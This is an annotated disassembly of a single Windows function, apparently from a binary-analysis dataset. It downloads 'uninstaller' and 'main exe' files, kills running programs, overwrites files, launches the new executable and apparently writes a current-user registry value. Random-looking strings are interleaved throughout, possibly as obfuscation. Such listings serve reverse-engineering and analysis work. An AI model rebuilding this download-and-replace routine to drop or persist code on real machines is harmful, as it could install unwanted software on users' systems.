Function at 0x408220
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42b036
mov eax, dword fs:[0]
push eax
sub esp, 0xbec
mov eax, dword [0x434a20]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x120], 1
push str.vm_Pu:iJiFY4C5qFcM
call fcn.004010c0
add esp, 4
mov dword [ebp - 0xa30], 0
mov dword [ebp - 0x10], 1
push 0x104
push 0
lea eax, [ebp - 0x11c]
push eax
call fcn.004193c0
add esp, 0xc
push 0x800
push 0
lea ecx, [ebp - 0xa2c]
push ecx
call fcn.004193c0
add esp, 0xc
push 0x104
push 0
push 0x436218
call fcn.004193c0
add esp, 0xc
push str.CwVQ:_JLCXXSppKE56
push 0x3f
push 0x19
push 0xa2
call fcn.00408010
add esp, 0x10
push 0x104
push 0
push 0x4367a8
call fcn.004193c0
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x22c]
push edx
call fcn.004193c0
add esp, 0xc
cmp dword [ebp - 0x10], 0
je 0x408a6e
cmp dword [ebp - 0xa30], 0
jne 0x408a44
mov dword [ebp - 0xa34], 0
mov dword [ebp - 0xa3c], 0
mov dword [ebp - 0xa38], 0
push str.D3K_bw6xSy_HII
push str.d_6:jn4RpP_IBuhll
push 0x54
push 0x25
call fcn.00407bc0
add esp, 0x10
mov eax, dword [0x436e40]
push eax
mov ecx, dword [0x436e20]
push ecx
push 0x436a68
push 0x42d164
push 0x436218
call fcn.0041a815
add esp, 0x14
push 0x436218
call fcn.00409730
add esp, 4
test eax, eax
je 0x408391
mov dword [ebp - 0xa34], 1
push str.download_uninstaller_file_ok
push 0x4368e4
call fcn.0040dd00
add esp, 8
jmp 0x4083b0
push str.download_uninstaller_file_error
push 0x4368e4
call fcn.0040dd00
add esp, 8
push str.eKir0Jtm5rowi9IB
call fcn.00408a90
add esp, 4
mov edx, dword [0x436e1c]
push edx
push 0x436350
push str._s_s
lea eax, [ebp - 0xb44]
push eax
call fcn.0041a815
add esp, 0x10
lea ecx, [ebp - 0xb44]
push ecx
push 1
push str.Shlwapi.dll
push 0x48c838b4
call fcn.004025a0
add esp, 0x10
test eax, eax
je 0x408457
lea edx, [ebp - 0xb44]
push edx
push 0x436910
call fcn.0041a680
add esp, 8
mov eax, dword [0x436e44]
push eax
mov ecx, dword [0x436e20]
push ecx
push 0x436a68
push 0x42d164
push 0x4367a8
call fcn.0041a815
add esp, 0x14
push str.HnHA_DBeP7sE__5JZ
push 0xe9
push str.hWbG0_4YMiXScvDZ_M
call fcn.00404460
add esp, 0xc
mov dword [ebp - 0xa3c], 1
mov dword [ebp - 0xa38], 1
jmp 0x408528
mov edx, dword [0x436e44]
push edx
mov eax, dword [0x436e20]
push eax
push 0x436a68
push 0x42d164
push 0x4367a8
call fcn.0041a815
add esp, 0x14
push 0x4367a8
call fcn.0040a810
add esp, 4
cmp eax, 1
jne 0x4084c4
mov dword [ebp - 0xa3c], 1
push str.download_main_exe_ok
push 0x4368e4
call fcn.0040dd00
add esp, 8
push str.tZ4Yo32akJx_G3d7
push 0x6c
push 0xc7
push 0xc3
call fcn.00402a40
add esp, 0x10
jmp 0x408528
push 0x64
push 0
lea ecx, [ebp - 0xbac]
push ecx
call fcn.004193c0
add esp, 0xc
push str.download
lea edx, [ebp - 0xbac]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str._main_exe_error
lea eax, [ebp - 0xbac]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0xbac]
push ecx
push 0x4368e4
call fcn.0040dd00
add esp, 8
push str.QI_eGe4X3C_4U_
push 0x3d
push str.V__Hov9yYaH4Rh_1
push str.KJMyzCFy_:sUlS
call fcn.00408c60
add esp, 0x10
cmp dword [ebp - 0xa3c], 0
je 0x40853e
cmp dword [ebp - 0xa34], 0
jne 0x4085e3
push str.wait_after_failure
push 0x4368e4
call fcn.0040dd00
add esp, 8
mov dword [ebp - 0xa30], 0
lea edx, [ebp - 0xbb4]
push edx
call fcn.0040ea70
mov dword [ebp - 0xbb8], 0
cmp dword [ebp - 0xbb8], 1
jge 0x4085de
push 0x4e20
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push str.E__LlCg6yMdlQTDl
push 0x57
push str.W_gyvrjPnP_RAXU:Swy
call fcn.00403340
add esp, 0xc
lea eax, [ebp - 0xbc8]
push eax
call fcn.0040ea70
mov ecx, dword [ebp - 0xbb0]
push ecx
mov edx, dword [ebp - 0xbb4]
push edx
lea eax, [ebp - 0xbc0]
push eax
lea ecx, [ebp - 0xbc8]
call fcn.0040eab0
lea ecx, [ebp - 0xbc0]
call fcn.0040ea50
mov dword [ebp - 0xbb8], eax
jmp 0x408570
jmp 0x408a3f
mov dword [ebp - 0xa30], 1
call fcn.0040c970
test eax, eax
je 0x408a2d
push str.kill_all_program_ok
push 0x4368e4
call fcn.0040dd00
add esp, 8
push str.DuCV0JMoK8UXsK_Lyn
push str.ziEISxI2qiP6y71xq
push 0x47
call fcn.004075f0
add esp, 0xc
push 0x436218
push 1
push str.Shlwapi.dll
push 0x48c838b4
call fcn.004025a0
add esp, 0x10
test eax, eax
je 0x40866c
push 0x436218
push 1
push 0x42c560
push 0x210b82b2
call fcn.004025a0
add esp, 0x10
test eax, eax
jne 0x40866c
push str.error_delete_old_uninst_file
push 0x4368e4
call fcn.0040dd00
add esp, 8
push 0
push 0x436218
push 0x436680
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4086a7
push 0x436680
call fcn.0041a7eb
add esp, 4
test eax, eax
je 0x4086a5
push str.error_delete_tmp_uninst_file
push 0x4368e4
call fcn.0040dd00
add esp, 8
jmp 0x4086b9
push str.error_copy_new_uninst_file
push 0x4368e4
call fcn.0040dd00
add esp, 8
cmp dword [ebp - 0xa38], 1
jne 0x408862
push str.main_exe_exists
push 0x4368e4
call fcn.0040dd00
add esp, 8
push 0x4367a8
push 1
push str.Shlwapi.dll
push 0x48c838b4
call fcn.004025a0
add esp, 0x10
test eax, eax
je 0x408720
push 0x4367a8
push 1
push 0x42c560
push 0x210b82b2
call fcn.004025a0
add esp, 0x10
push str.NGDYxzYN_at_:8fNf
push str.CFPA2zM2___HKwuP0
call fcn.00401260
add esp, 8
push 0
push 0x4367a8
push 0x436910
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x40885d
push 0x436910
push 1
push 0x42c560
push 0x210b82b2
call fcn.004025a0
add esp, 0x10
push 0x104
push 0
push 0x436468
call fcn.004193c0
add esp, 0xc
push str.__sa
push 0x436468
call fcn.0041a690
add esp, 8
push 0x436df4
push 0x436468
call fcn.0041a690
add esp, 8
push ecx
mov ecx, esp
mov dword [ebp - 0xbcc], esp
push 0x436468
call fcn.0040ecd0
mov dword [ebp - 0xbdc], eax
mov ecx, dword [ebp - 0xbdc]
mov dword [ebp - 0xbe0], ecx
mov dword [ebp - 4], 0
push ecx
mov ecx, esp
mov dword [ebp - 0xbd0], esp
push 0x4367a8
call fcn.0040ecd0
mov dword [ebp - 0xbe4], eax
mov dword [ebp - 4], 0xffffffff
call fcn.00408d50
add esp, 8
mov dword [ebp - 0xbe8], eax
cmp dword [ebp - 0xbe8], 1
je 0x40881e
mov dword [ebp - 0x120], 0
push str.BsuLDwJQ8G:_TU_t_w
push str.e__QS0:nxAjvfml_jl
call fcn.00401260
add esp, 8
push str.launch_main_exe_error
push 0x4368e4
call fcn.0040dd00
add esp, 8
jmp 0x40885d
push 0x436a1c
push 0x436a30
push 0x80000001
push 3
push str.Shlwapi.dll
push 0x57b90b32
call fcn.004025a0
add esp, 0x18
mov dword [ebp - 0x120], 1
push str.launch_main_exe_ok
push 0x4368e4
call fcn.0040dd00
add esp, 8
jmp 0x408a2b
push 0x4367a8
push 1
push str.Shlwapi.dll
push 0x48c838b4
call fcn.004025a0
add esp, 0x10
test eax, eax
je 0x4088c2
push 0x4367a8
push 1
push 0x42c560
push 0x210b82b2
call fcn.004025a0
add esp, 0x10
test eax, eax
jne 0x4088c2
push str.error_delete_old_main_file
push 0x4368e4
call fcn.0040dd00
add esp, 8
push str.Pmv7_MMD76BG_wv98o
push 0x3d
push str.WuVglMkljvJHzTidU
call fcn.00404460
add esp, 0xc
push 0
push 0x4367a8
push 0x436910
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x408a19
push 0x436910
push 1
push 0x42c560
push 0x210b82b2
call fcn.004025a0
add esp, 0x10
push 0x104
push 0
push 0x436468
call fcn.004193c0
add esp, 0xc
push str.__sa
push 0x436468
call fcn.0041a690
add esp, 8
push 0x436df4
push 0x436468
call fcn.0041a690
add esp, 8
push str.Ahp2Xo938MddEf9
push 0x74
push 0xd8
push 0xce
call fcn.00404a20
add esp, 0x10
push ecx
mov ecx, esp
mov dword [ebp - 0xbd4], esp
push 0x436468
call fcn.0040ecd0
mov dword [ebp - 0xbec], eax
mov edx, dword [ebp - 0xbec]
mov dword [ebp - 0xbf0], edx
mov dword [ebp - 4], 1
push ecx
mov ecx, esp
mov dword [ebp - 0xbd8], esp
push 0x4367a8
call fcn.0040ecd0
mov dword [ebp - 0xbf4], eax
mov dword [ebp - 4], 0xffffffff
call fcn.00408d50
add esp, 8
mov dword [ebp - 0xbf8], eax
cmp dword [ebp - 0xbf8], 1
je 0x4089c7
mov dword [ebp - 0x120], 0
push str.launch_main_exe_error
push 0x4368e4
call fcn.0040dd00
add esp, 8
jmp 0x408a17
push 0x436a1c
push 0x436a30
push 0x80000001
push 3
push str.Shlwapi.dll
push 0x57b90b32
call fcn.004025a0
add esp, 0x18
mov dword [ebp - 0x120], 1
push str.5CibxOYWw6vKvERJ_
push 0x3c
push 0x7a
call fcn.004046a0
add esp, 0xc
push str.launch_main_exe_ok
push 0x4368e4
call fcn.0040dd00
add esp, 8
jmp 0x408a2b
push str.error_copy_main_file
push 0x4368e4
call fcn.0040dd00
add esp, 8
jmp 0x408a3f
push str.kill_all_program_error
push 0x4368e4
call fcn.0040dd00
add esp, 8
jmp 0x4082fd
cmp dword [ebp - 0xa30], 0
je 0x408a6e
mov eax, dword [ebp - 0x120]
push eax
call fcn.0040b520
add esp, 4
push str.zWAIImWAEAH7lfVAVD
push 0xfc
call fcn.00403120
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041943a
mov esp, ebp
pop ebp
ret